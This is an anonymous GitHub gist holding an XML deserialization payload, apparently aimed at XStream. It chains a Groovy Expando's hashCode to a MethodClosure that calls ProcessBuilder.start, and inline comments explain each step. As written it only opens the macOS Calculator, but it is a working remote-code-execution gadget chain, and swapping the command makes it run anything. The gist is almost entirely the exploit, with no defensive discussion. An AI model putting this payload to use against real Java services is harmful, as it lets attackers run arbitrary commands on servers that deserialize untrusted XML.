Skip to content

Instantly share code, notes, and snippets.

Created February 24, 2016 21:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/c54f94603690f583e106 to your computer and use it in GitHub Desktop.
Save anonymous/c54f94603690f583e106 to your computer and use it in GitHub Desktop.
<map>
<!-- This Expando is our key in the root level Map -->
<groovy.util.Expando>
<expandoProperties>
<entry>
<!-- This property tells Expando to call our method on hashCode() -->
<string>hashCode</string>
<!-- This MethodClosure will pop a calculator when called -->
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<!-- This is the name of the method to invoke on ProcessBuilder -->
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<!-- This integer is our value for the only key-value. Can be anything. -->
<int>1</int>
</map>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment